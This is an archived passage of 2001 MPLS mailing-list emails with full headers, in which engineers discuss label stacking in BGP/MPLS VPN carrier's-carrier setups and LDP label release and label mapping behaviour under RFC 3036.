Message-ID: <AD78BC6ECAA1D31197A800508B5C644F0469207B@NTEXGHFD01>
From: "Metz, Eduard" <Eduard.Metz@KPNQwest.com>
To: "'Sasha Vainshtein'" <Sasha@AXERRA.com>,
        "'jim guichard'"
	 <jguichar@cisco.com>
Cc: "Metz, Eduard" <Eduard.Metz@KPNQwest.com>,
        "'Shahram Davari'"
	 <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, Alik Shimelmits <alik@AXERRA.com>,
        Elena Vinkler <elena@AXERRA.com>
Subject: RE: BGP/MPLS VPN PE LSR
Date: Mon, 14 May 2001 17:21:28 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

As far as I know RFC2547(bis) allow RIP, OSPF, BGP, and static to be used as
a CE-to-PE routing protocol (there is no requirement). So, in your case "no
routing protocol" would mean static (not really a protocol, but still..).

The way I read RFC2547bis, section 9, LSP are built like this: PEs build
"VRF-to-VRF" LSP (inner label), and PE-to-PE" LSPs (outer label).
Furthermore they advertise labels for routes they know to the CEs that are
connected. In return, CE may advertise label for routes on their side. This
results in "CE-to-PE" LSPs. So a "CE-to-CE" LSP is the concatenation of
"CE-to-PE", "VRF-to-VRF", and "PE-to-CE" LSPs. Or something like this:
- CE1: push(L10)
- PE1: swap(L10->L11), push(L20)
- P1: swap(L20->L21)
- PE2: pop(L21), swap(L11->L12)
- CE2: pop(L12)

Alternatively pop/push operations on the CEs could be label swaps.

This seems like your scenario "3 b", why would this not work? When there is
a (VRF-to-VRF) label for each route it will or not (or one per CE when only
the CE run MPLS, and the PE is the penultimate hop)? 

cheers,
	Eduard

> -----Original Message-----
> From: Sasha Vainshtein [mailto:Sasha@AXERRA.com]
> Sent: 14 May 2001 17:39
> To: 'jim guichard'; Sasha Vainshtein
> Cc: Metz, Eduard; 'Shahram Davari'; 'mpls@uu.net'; Alik Shimelmits;
> Elena Vinkler
> Subject: RE: BGP/MPLS VPN PE LSR
> 
> 
> Jim,
> Thank you for a prompt response. However, it leaves several 
> point unclear.
> 1. Neither RFC 2547 nor rfc2547bis does not specify which 
> routing protocols
> run between
>    CE and PE if any at all. In the basic model, CE does not 
> require any 
>    specific route at all - a default route via its PE is 
> sufficient. In its
> turn,
>    PE may learn routes to destinations behind its adjacent CE 
> via static
> configuration.
>    So what happens if  there is no routing protocol between CE and its
> adjacent PE?
> 2. AFAIK in the 2547 model:
>    a) PE somehow learns routes to destinations behind its 
> adjacent CEs and
> installs
>        them in the VRF instance associated with the given VPN
>    b) iBGP distributes addresses of PEs as BGP next hops for the
>        VPN destinations behind their adjacent CEs together 
> with _internal_
> labels which
>        are associated with the VRF instances within these PEs
>    c) IGP (OSPF or ISIS)  within the MPLS backbone provides for IP
> connectivity between PEs
>    d) LDP provides for MPLS connectivity between PEs
>    e) PEs use labels associated with LSPs to their peers as _external_
> labels in the
>        two-level label stack.
>    This means that  internal labels refer to VRF 
> instance-to-VRF instance
> LSPs while
>    external labels refer to PE-to-PE LSPs. 
> 3. Now comes the key question: to which LSP should belong a label in a
>    packet sent by the CE to its adjacent PE?
>    I see the following use cases:
>    a) They belong to CE-to-CE LSPs which are tunneled in the
>        VRF instance-to-VRF instance ones,
>        i.e. they are never visible in the MPLS VPN backbone 
> including PEs.
>       This is the scenario I had in mind. It also may be 
> related to the
> flavor which you have
>       called hierarchical VPN. The probelm is that PE has to 
> recognize these
> labels in order to
>       process them in any way. I do not see how this is possible.
>    b) They belong to CE-to-CE tunnels which are just 
> extensions of the 
>        VRF instance-to-VRF instance ones. This will only
>       work if there is just one customer site per PE per VPN. 
>   c) They belong to (upstream CE)-to-(VRF instance in the 
> downstream PE)
> LSPs.
>       IMHO this corresponds to the process you have described 
> in your answer
> and
>       also to the "VPN site running MPLS" flavor. The problem 
> with this
> scenario is
>       that the provider's network topology becomes partially 
> visible to the
> CE routers
>       ( they have to know which PE acts as the BGP next hop 
> for the specific
> destination
>      in their VPN). AFAIK this is considered as undesirable 
> in the common
> VPN framework. 
>  
> 
> With best regards,
>                                    Sasha Vainshtein
> email:     sasha@axerra.com 
> tel:       +972-3-7659993 (office)
>            +972-8-9254948 (res.)
>            +972-58-674833 (cell.)
>  
> 
> 
> > -----Original Message-----
> > From: jim guichard [mailto:jguichar@cisco.com]
> > Sent: Monday, May 14, 2001 10:35 AM
> > To: Sasha Vainshtein
> > Cc: Metz, Eduard; 'Shahram Davari'; 'mpls@uu.net'; Alik 
> > Shimelmits; Elena Vinkler
> > Subject: RE: BGP/MPLS VPN PE LSR
> > 
> > 
> > Sasha,
> > 
> > At 11:03 14/05/2001 +0200, Sasha Vainshtein wrote:
> > >Regarding the Carriers Carrier model:
> > >My assumption is that in this model the label on the packet
> > >sent by the upstream CE router to its appropriate  PE has 
> > been assigned
> > >(to some FEC)
> > 
> > your assumption is not correct. The label that the CE will use is 
> > distributed by its upstream PE router. The external routes of 
> > the site are 
> > distributed to other sites using iBGP. The BGP next-hops for 
> > these prefixes 
> > are exchanged with the MPLS VPN backbone using standard 
> > routing protocols 
> > but also LDP label distribution. The BGP next-hops are placed 
> > into the PE 
> > routers VRF and then advertised across the backbone as VPNv4 
> > prefixes. Once 
> > imported into the receiving PE routers VRF, they are 
> advertised using 
> > standard routing protocols to the CE but also with LDP label 
> > distribution. 
> > All of this provides an end-to-end LSP between ASBRs in 
> > different sites, 
> > and provides the ability to off load large amounts of prefix 
> > information 
> > from the MPLS VPN backbone .. Jim
> > 
> > >  by the peer downstream CE router at the
> > >other side of the CE<-->CE tunnel and then distributed to
> > >the upstream CE (e.g., via a direct LDP session between the 
> > two CE routers)
> > >  without any involvement of the PE routers (save from that that
> > >they provide an IP VPN connectivity between CEs
> > >so that the latter can run LDP sessions between them).
> > >This means that PE cannot do anything with such a label per se!
> > >One way to overcome siuch a situation would be for the two 
> > CEs to run either
> > >
> > >MPLS-in-IP or MPLS-in-GRE between them as described in
> > ><draft-worster-mpls-in-ip-04.txt>.
> > >
> > >With best regards,
> > >                                    Sasha Vainshtein
> > >email:     sasha@axerra.com
> > >tel:       +972-3-7659993 (office)
> > >            +972-8-9254948 (res.)
> > >            +972-58-674833 (cell.)
> > >
> > >
> > >
> > > > -----Original Message-----
> > > > From: jim guichard [mailto:jguichar@cisco.com]
> > > > Sent: Thursday, May 10, 2001 11:41 AM
> > > > To: Metz, Eduard
> > > > Cc: 'Shahram Davari'; 'mpls@uu.net'
> > > > Subject: RE: BGP/MPLS VPN PE LSR
> > > >
> > > >
> > > > The case where a PE will receive a labelled packet is
> > > > referred to as the
> > > > Carriers Carrier architecture and it has several flavours. In
> > > > the case
> > > > where the VPN site is running MPLS, then you will see a two
> > > > level label
> > > > stack across the carrier backbone. A three level label stack
> > > > will be seen
> > > > when the VPN site is running MPLS VPN and this is 
> referred to as a
> > > > hierarchical VPN. Jim
> > > >
> > > > At 10:43 10/05/2001 +0200, Metz, Eduard wrote:
> > > >
> > > > >I assume you are referring to the 'carriers-carrier' model.
> > > > This section in
> > > > >the draft is pretty vague. However, are you sure 2 labels
> > > > will be added?
> > > > >Could the PE not also use the customer label as the inner
> > > > label (and thus
> > > > >swap it)?
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > > > > > Sent: 09 May 2001 21:16
> > > > > > To: 'mpls@uu.net'
> > > > > > Subject: BGP/MPLS VPN PE LSR
> > > > > >
> > > > > >
> > > > > > Hi,
> > > > > >
> > > > > > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > > > > > packet rather than an IP packet to a PE router, the 
> PE router
> > > > > > should still push 2 labels. My question is, should the PE
> > > > > > router swap the customer's label too or leave it unchanged?
> > > > > >
> > > > > > Yours,
> > > > > > -Shahram
> > > > > >
> > > > > >
> > > >
> > > >
> > > >
> > > > Jim Guichard CCIE #2069
> > > > Technical Leader EMEA
> > > >
> > > > +44 208 756 8806
> > > > Mobile: +44 7802 809763
> > > >
> > 
> > 
> > 
> > Jim Guichard CCIE #2069
> > Technical Leader EMEA
> > 
> > +44 208 756 8806
> > Mobile: +44 7802 809763
> > 
> 


From owner-mpls@UU.NET  Mon May 14 11:29:53 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15231
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 11:29:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozl08138;
	Mon, 14 May 2001 15:28:47 GMT
Received: by mail-control.mail.uu.net 
	id QQkozl02413
	for mpls-outgoing; Mon, 14 May 2001 15:27:19 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkozl02392
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 15:27:01 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozl10293
	for <mpls@UU.NET>; Mon, 14 May 2001 15:25:51 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkozl05281
	for <mpls@UU.NET>; Mon, 14 May 2001 15:25:51 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id A2E1594009; Mon, 14 May 2001 11:25:42 -0400 (EDT)
Message-ID: <3AFFF8F6.ED31F059@sandburst.com>
Date: Mon, 14 May 2001 11:25:42 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>, Bob Thomas <rhthomas@cisco.com>
Cc: mpls@UU.NET
Subject: Re: Receive Label Receive !!
References: <3AFF7703.F328AF3D@ipinfusion.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Manoj,

    I believe that this is a hole in the Label Release procedures as well.
Bob may have a better idea of what it should say, but one way to fix the
problem is to change LRl.10 and LRl.11 as follows:

      LRl.10  If Label is not associated with any other FEC for MsgSource,
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
              remove Label from forwarding/switching use for traffic from
MsgSource.
              ^

      LRl.11  Do any peers still hold Label for any FEC?
                                                ^^^^
              If so, goto LRl.13.

This modified wording should cover the scenario that you point out...

--
Eric Gray

You wrote:

> Hi,
>
> According to RFC3036 Section A.1.4, a label should be removed from
> forwarding/switching use when an upstream peer releases a label
> (subsection LRl.10). Now, consider a case where a downstream LSR Rd
> propagates label Ld to upstream peer Ru for a set of fec elements {f1,
> f2....}. It seems like Rd will remove label Ld from forwarding/switching
> for traffic from Ru even when Ru releases the label Ld for only one
> fec,say f1.  Consequently, bindings of label Ld to the remaining fec
> elements {f2,f3....} is also lost and all the packets bearing the label
> Ld from Ru will have to be either discarded or forwarded using ip
> forwarding. I think that Rd should retain label Ld till Ru releases
> label Ld for all the fecs {f1, f2...}. Let me know if this is correct.
>
> Thanks in advance
> Manoj



From owner-mpls@UU.NET  Mon May 14 11:30:42 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15272
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 11:30:42 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozl19438;
	Mon, 14 May 2001 15:27:37 GMT
Received: by mail-control.mail.uu.net 
	id QQkozl02390
	for mpls-outgoing; Mon, 14 May 2001 15:26:59 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkozl02368
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 15:26:44 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozl09332
	for <mpls@uu.net>; Mon, 14 May 2001 15:25:31 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkozl04833
	for <mpls@uu.net>; Mon, 14 May 2001 15:25:30 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id LAA01191 for mpls@uu.net; Mon, 14 May 2001 11:25:29 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkozl02041
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 15:24:41 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkozl00762
	for <mpls@UU.NET>; Mon, 14 May 2001 15:21:35 GMT
Received: from cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: london2.cisco.com [144.254.32.10])
	id QQkozl00120
	for <mpls@UU.NET>; Mon, 14 May 2001 15:21:35 GMT
Received: from JGUICHAR-W2K.cisco.com (jguichar-isdn-home.cisco.com [10.49.131.222])
	by cisco.com (8.8.8+Sun/8.8.8) with ESMTP id RAA12178;
	Mon, 14 May 2001 17:17:12 +0200 (MET DST)
Message-Id: <4.3.2.7.2.20010514154833.01aebb78@london2.cisco.com>
X-Sender: jguichar@london2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Mon, 14 May 2001 16:16:10 +0100
To: Sasha Vainshtein <Sasha@AXERRA.com>
From: jim guichard <jguichar@cisco.com>
Subject: RE: BGP/MPLS VPN PE LSR
Cc: Sasha Vainshtein <Sasha@AXERRA.com>,
        "Metz, Eduard" <Eduard.Metz@KPNQwest.com>,
        "'Shahram Davari'" <Shahram_Davari@pmc-sierra.com>,
        "'mpls@uu.net'" <mpls@UU.NET>, Alik Shimelmits <alik@AXERRA.com>,
        Elena Vinkler <elena@AXERRA.com>
In-Reply-To: <AF5018AC03D1D411ABB70002A5091326039D10@TLV1>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Sasha,

comments in-line ...

At 17:39 14/05/2001 +0200, Sasha Vainshtein wrote:
>Jim,
>Thank you for a prompt response. However, it leaves several point unclear.
>1. Neither RFC 2547 nor rfc2547bis does not specify which routing protocols
>run between
>    CE and PE if any at all. In the basic model, CE does not require any
>    specific route at all - a default route via its PE is sufficient. In its
>turn,
>    PE may learn routes to destinations behind its adjacent CE via static
>configuration.
>    So what happens if  there is no routing protocol between CE and its
>adjacent PE?

you may use OSPF, RIPv2 or static between PE-CE. LDP provides label 
distribution across the link.

>2. AFAIK in the 2547 model:
>    a) PE somehow learns routes to destinations behind its adjacent CEs and
>installs
>        them in the VRF instance associated with the given VPN

in the case of CsC, the PE learns BGP next-hop addresses that are behind 
the adjacent CE router. Other routes may be exchanged directly between 
sites WITHOUT being advertised toward the PE. This is achieved through iBGP 
sessions between sites.

>    b) iBGP distributes addresses of PEs as BGP next hops for the
>        VPN destinations behind their adjacent CEs together with _internal_
>labels which
>        are associated with the VRF instances within these PEs

yes and no. If the site is not running MPLS then BGP next-hops are 
exchanged with the PE but without labels. If the site is running MPLS then 
the BGP next-hop is advertised to the PE as normal and a label binding for 
the prefix is agreed between PE and CE routers - standard LDP behaviour. 
Once the PE has these routes within the VRF, MP-BGP distributes the prefix 
information as per 2547 model.

>    c) IGP (OSPF or ISIS)  within the MPLS backbone provides for IP
>connectivity between PEs
>    d) LDP provides for MPLS connectivity between PEs
>    e) PEs use labels associated with LSPs to their peers as _external_
>labels in the
>        two-level label stack.
>    This means that  internal labels refer to VRF instance-to-VRF instance
>LSPs while
>    external labels refer to PE-to-PE LSPs.

PEs will use a two level label stack (simple case) where the inner label is 
the VPN label (BGP next-hop address) as allocated by the ingress PE router 
and the outer label is the IGP label as allocated by LDP. This is the 
normal 2547 model, nothing new with CsC.

>3. Now comes the key question: to which LSP should belong a label in a
>    packet sent by the CE to its adjacent PE?

The flow is as follows :

Site A has prefix N which is reachable via ASBR_A. Site A advertises prefix 
N to Site B via iBGP with a next-hop of ASBR_A. Site A advertises prefix 
ASBR_A to PE-1 within the MPLS VPN backbone. PE-1 imports ASBR_A prefix 
into VRF A. PE-1 redistributes prefix ASBR_A into MP-BGP. PE-1 advertises 
RD:ASBR_A to PE-2 which imports the route into VRF A. PE-2 advertises 
ASBR_A to CE-2 in Site B and distributes label X via LDP. CE-2 advertises 
ASBR_A into Site B using its IGP.

When a packet comes into Site B destined for network N, the next-hop for 
network N on the incoming ASBR points to ASBR_A. As ASBR_A was learnt from 
within the IGP the traffic takes the IGP path toward the next-hop. When the 
packet hits CE-2, label imposition occurs as a label for ASBR_A was learnt 
from PE-2. CE-2 sends the packet with label X to PE-2 which swaps the label 
for a two-level label stack. This label stack is the VPN label for prefix N 
as assigned by PE-1 and the IGP label to reach PE-1. When PE-1 receives the 
packet it will have a one level label stack. The packet is then switched 
toward CE-1 as a normal IP packet destined for prefix N.

>    I see the following use cases:
>    a) They belong to CE-to-CE LSPs which are tunneled in the
>        VRF instance-to-VRF instance ones,
>        i.e. they are never visible in the MPLS VPN backbone including PEs.
>       This is the scenario I had in mind. It also may be related to the
>flavor which you have
>       called hierarchical VPN. The probelm is that PE has to recognize these
>labels in order to
>       process them in any way. I do not see how this is possible.
>    b) They belong to CE-to-CE tunnels which are just extensions of the
>        VRF instance-to-VRF instance ones. This will only
>       work if there is just one customer site per PE per VPN.
>   c) They belong to (upstream CE)-to-(VRF instance in the downstream PE)
>LSPs.
>       IMHO this corresponds to the process you have described in your answer
>and
>       also to the "VPN site running MPLS" flavor. The problem with this
>scenario is
>       that the provider's network topology becomes partially visible to the
>CE routers
>       ( they have to know which PE acts as the BGP next hop for the specific
>destination
>      in their VPN). AFAIK this is considered as undesirable in the common
>VPN framework.
>

all that is needed within a site is to learn the route via BGP and 
understand how to route to that BGP destination. This is driven by the BGP 
next-hop. As the next-hop is learnt from an exit point CE, we route toward 
the CE (assuming no MPLS within the site) and then perform label imposition 
on the CE - there is no knowledge of the providers network topology 
required. Hope this helps. Jim


>With best regards,
>                                    Sasha Vainshtein
>email:     sasha@axerra.com
>tel:       +972-3-7659993 (office)
>            +972-8-9254948 (res.)
>            +972-58-674833 (cell.)
>
>
>
> > -----Original Message-----
> > From: jim guichard [mailto:jguichar@cisco.com]
> > Sent: Monday, May 14, 2001 10:35 AM
> > To: Sasha Vainshtein
> > Cc: Metz, Eduard; 'Shahram Davari'; 'mpls@uu.net'; Alik
> > Shimelmits; Elena Vinkler
> > Subject: RE: BGP/MPLS VPN PE LSR
> >
> >
> > Sasha,
> >
> > At 11:03 14/05/2001 +0200, Sasha Vainshtein wrote:
> > >Regarding the Carriers Carrier model:
> > >My assumption is that in this model the label on the packet
> > >sent by the upstream CE router to its appropriate  PE has
> > been assigned
> > >(to some FEC)
> >
> > your assumption is not correct. The label that the CE will use is
> > distributed by its upstream PE router. The external routes of
> > the site are
> > distributed to other sites using iBGP. The BGP next-hops for
> > these prefixes
> > are exchanged with the MPLS VPN backbone using standard
> > routing protocols
> > but also LDP label distribution. The BGP next-hops are placed
> > into the PE
> > routers VRF and then advertised across the backbone as VPNv4
> > prefixes. Once
> > imported into the receiving PE routers VRF, they are advertised using
> > standard routing protocols to the CE but also with LDP label
> > distribution.
> > All of this provides an end-to-end LSP between ASBRs in
> > different sites,
> > and provides the ability to off load large amounts of prefix
> > information
> > from the MPLS VPN backbone .. Jim
> >
> > >  by the peer downstream CE router at the
> > >other side of the CE<-->CE tunnel and then distributed to
> > >the upstream CE (e.g., via a direct LDP session between the
> > two CE routers)
> > >  without any involvement of the PE routers (save from that that
> > >they provide an IP VPN connectivity between CEs
> > >so that the latter can run LDP sessions between them).
> > >This means that PE cannot do anything with such a label per se!
> > >One way to overcome siuch a situation would be for the two
> > CEs to run either
> > >
> > >MPLS-in-IP or MPLS-in-GRE between them as described in
> > ><draft-worster-mpls-in-ip-04.txt>.
> > >
> > >With best regards,
> > >                                    Sasha Vainshtein
> > >email:     sasha@axerra.com
> > >tel:       +972-3-7659993 (office)
> > >            +972-8-9254948 (res.)
> > >            +972-58-674833 (cell.)
> > >
> > >
> > >
> > > > -----Original Message-----
> > > > From: jim guichard [mailto:jguichar@cisco.com]
> > > > Sent: Thursday, May 10, 2001 11:41 AM
> > > > To: Metz, Eduard
> > > > Cc: 'Shahram Davari'; 'mpls@uu.net'
> > > > Subject: RE: BGP/MPLS VPN PE LSR
> > > >
> > > >
> > > > The case where a PE will receive a labelled packet is
> > > > referred to as the
> > > > Carriers Carrier architecture and it has several flavours. In
> > > > the case
> > > > where the VPN site is running MPLS, then you will see a two
> > > > level label
> > > > stack across the carrier backbone. A three level label stack
> > > > will be seen
> > > > when the VPN site is running MPLS VPN and this is referred to as a
> > > > hierarchical VPN. Jim
> > > >
> > > > At 10:43 10/05/2001 +0200, Metz, Eduard wrote:
> > > >
> > > > >I assume you are referring to the 'carriers-carrier' model.
> > > > This section in
> > > > >the draft is pretty vague. However, are you sure 2 labels
> > > > will be added?
> > > > >Could the PE not also use the customer label as the inner
> > > > label (and thus
> > > > >swap it)?
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: Shahram Davari [mailto:Shahram_Davari@pmc-sierra.com]
> > > > > > Sent: 09 May 2001 21:16
> > > > > > To: 'mpls@uu.net'
> > > > > > Subject: BGP/MPLS VPN PE LSR
> > > > > >
> > > > > >
> > > > > > Hi,
> > > > > >
> > > > > > In an BGP/MPLS VPN scenario if a CE router sends an MPLS
> > > > > > packet rather than an IP packet to a PE router, the PE router
> > > > > > should still push 2 labels. My question is, should the PE
> > > > > > router swap the customer's label too or leave it unchanged?
> > > > > >
> > > > > > Yours,
> > > > > > -Shahram
> > > > > >
> > > > > >
> > > >
> > > >
> > > >
> > > > Jim Guichard CCIE #2069
> > > > Technical Leader EMEA
> > > >
> > > > +44 208 756 8806
> > > > Mobile: +44 7802 809763
> > > >
> >
> >
> >
> > Jim Guichard CCIE #2069
> > Technical Leader EMEA
> >
> > +44 208 756 8806
> > Mobile: +44 7802 809763
> >



Jim Guichard CCIE #2069
Technical Leader EMEA

+44 208 756 8806
Mobile: +44 7802 809763



From owner-mpls@UU.NET  Mon May 14 11:40:18 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15551
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 11:40:18 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozm18193;
	Mon, 14 May 2001 15:37:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkozm03523
	for mpls-outgoing; Mon, 14 May 2001 15:37:10 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkozm03508
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 15:36:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkozm18255
	for <mpls@UU.NET>; Mon, 14 May 2001 15:36:02 GMT
Received: from sandmail.sandburst.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkozm29041
	for <mpls@UU.NET>; Mon, 14 May 2001 15:36:01 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id AF7D394009; Mon, 14 May 2001 11:35:56 -0400 (EDT)
Message-ID: <3AFFFB5C.7C0915CA@sandburst.com>
Date: Mon, 14 May 2001 11:35:56 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Manoj Dutta <manoj@ipinfusion.com>
Cc: mpls@UU.NET
Subject: Re: Label Mapping mesage !!
References: <3AFF8E23.2FE45914@ipinfusion.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Manoj,

    There are some holes in any literal interpretation of the platform
wide label space concept.  You may be looking at one of them, if I
understand your question correctly.  Typically, if any LSR were to
distribute a single label for multiple FECs, the one thing that all of
these FECs must have in common is identical next hop information
(this might happen, for example, if FECs from Ru's perspective are
aggregated by Rd into a single FEC going downstream).  In this case,
the restriction that a per platform label must not be 'honored' if it is
received by the interface which would be used to forward the packet
(IOW, the packet is received from the next hop for the label) is even
more important.

    Note that the fact that the specifications were meant to support
distributing a single label for multiple FECs, does not mean that any
one was absolutely convinced that this was necessarily a good idea.
Scenarios is which this will both work and result in optimal behavior
are somewhat restricted.

--
Eric Gray

You wrote:

> hi,
>
> Is is possible for a given LSR Rd to distribute the same label mapping
> for more than one fec elements to another LSR Ru while using platform
> wide label space only. If so, then what are the possible scenarios.
>
> thanks
> manoj



From owner-mpls@UU.NET  Mon May 14 11:47:47 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA15807
	for <mpls-archive@lists.ietf.org>; Mon, 14 May 2001 11:47:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkozn28709;
	Mon, 14 May 2001 15:46:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkozn04458
	for mpls-outgoing; Mon, 14 May 2001 15:46:06 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkozn04388
	for <mpls@mail-control.mail.uu.net>; Mon, 14 May 2001 15:45:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkozn03256
	for <mpls@UU.NET>; Mon, 14 May 2001 15:45:08 GMT
Received: from sandmail.sandburst.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sandburst-gw.bstn-gw02.ma.us.intelilink.net [216.57.129.34])
	id QQkozn26243
	for <mpls@UU.NET>; Mon, 14 May 2001 15:45:07 GMT
Received: from sandburst.com (pediment.sandburst.com [172.16.5.210])
	by sandmail.sandburst.com (Postfix) with ESMTP
	id 8359E94009; Mon, 14 May 2001 11:45:07 -0400 (EDT)
Message-ID: <3AFFFD83.6FD060AB@sandburst.com>
Date: Mon, 14 May 2001 11:45:07 -0400
From: Eric Gray <eric.gray@sandburst.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22smp i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Abhijit M Gadgil <amg@sasken.com>
Cc: Manoj Dutta <manoj@ipinfusion.com>, mpls@UU.NET
Subject: Re: Receive Label Receive !!
References: <Pine.GSO.4.30.0105141220100.10499-100000@sund2.sasi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Abhijit,

    Part of the trouble (perhaps inconsistency is a better word) between
RFC3031 and RFC3036 is the meaning of the word FEC.  From a purely
architectural point of view, it never makes sense to issue the same label
for multiple FECs.  If you define a FEC as a group of packets which will
be forwarded the same way, and you consider the consequences of using
the same label, you will see that issuing the same label for multiple FECs
essentially groups these 'FECs' into a single FEC (since they will be
forwarded in the same way by the LSR that issued the common label).

    However, from the pragmatic perspective you need to adopt to develop
a signaling protocol, it is necessary to consider the case where a group
of FECs from Ru's perspective maps to a single FEC from Rd's point of
view.  By giving the same label for all of these FECs to Ru, Rd is able to
avoid having to merge multiple incoming LSPs from Ru onto a single LSP
downstream from Rd.

    As I implied in my earlier reply to Manoj, however, the fact that this is

allowed does not mean that this behavior is universally loved.  :-)

--
Eric Gray

You wrote:

> manoj,
>
> If u have a look at rfc3031, pg 15, Scope and Uniqueness of the Label, It
> gives a clear picture as to when Rd can use same label for different FECs
> for Upstream LSR(s). Let us suppose the Label Ld resides in some label
> space LS. This will not let u distribute Ld for different FECs as it will
> not be possible to distinguish the FEC from the label value. If on the
> other hand the Label Ld was there in two label spaces (say per interface),
> then upon receiving the label release for that Label from Upstream, u will
